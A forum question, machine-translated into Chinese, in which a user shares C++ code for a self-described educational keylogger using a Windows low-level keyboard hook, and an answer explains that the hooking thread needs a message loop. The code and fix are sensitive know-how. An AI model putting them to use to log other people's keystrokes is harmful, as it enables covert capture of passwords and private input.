KBDLL 挂钩问题

Problems with KBDLL hooking

我正在尝试构建自己的键盘记录器 (private/educational) 以扩展我的技能。 我开始研究钩子,在本例中是 KBDLLHOOKSTRUCT。

我不确定我的代码有什么问题,但它不起作用。 我做的是:

我的代码:

#include <windows.h>
#include <iostream>
#include <fstream>
#include <string>

HHOOK hookHandle;
KBDLLHOOKSTRUCT hookData;

LRESULT CALLBACK LowLevelKeyboardProc(int nC, WPARAM wP, LPARAM lP);
std::string readLogs();
void writeLogs(std::string logs);

int main()
{
    hookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, NULL, 0);
    while(true) {

        Sleep(1000);
    }
    return 0;
}

std::string readLogs() {
    std::ifstream readFile;
    readFile.open("logs.txt");
    std::string logs;
    readFile >> logs;
    return logs;
}

void writeLogs(std::string logs) {
    std::string oLogs = readLogs();
    std::ofstream writeFile;
    writeFile.open("logs.txt");
    writeFile << oLogs + logs;
}

LRESULT CALLBACK LowLevelKeyboardProc(int nC, WPARAM wP, LPARAM lP) {
    if (nC >= 0) {
        if (wP == WM_KEYDOWN) {
            hookData = *((KBDLLHOOKSTRUCT*)lP);
        }
    }
    return CallNextHookEx(hookHandle, nC, wP, lP);
}

忽略 readLogs() 和 writeLogs()。

我认为问题在于:

hookData = *((KBDLLHOOKSTRUCT*)lP);

但显然情况并非如此,因为 int x 的简单增量并没有发生。

所以才来这里求助。我该怎么做才能解决我的问题?

您需要阅读文档。直接来自 LowLevelKeyboardProc:

This hook is called in the context of the thread that installed it. The call is made by sending a message to the thread that installed the hook. Therefore, the thread that installed the hook must have a message loop.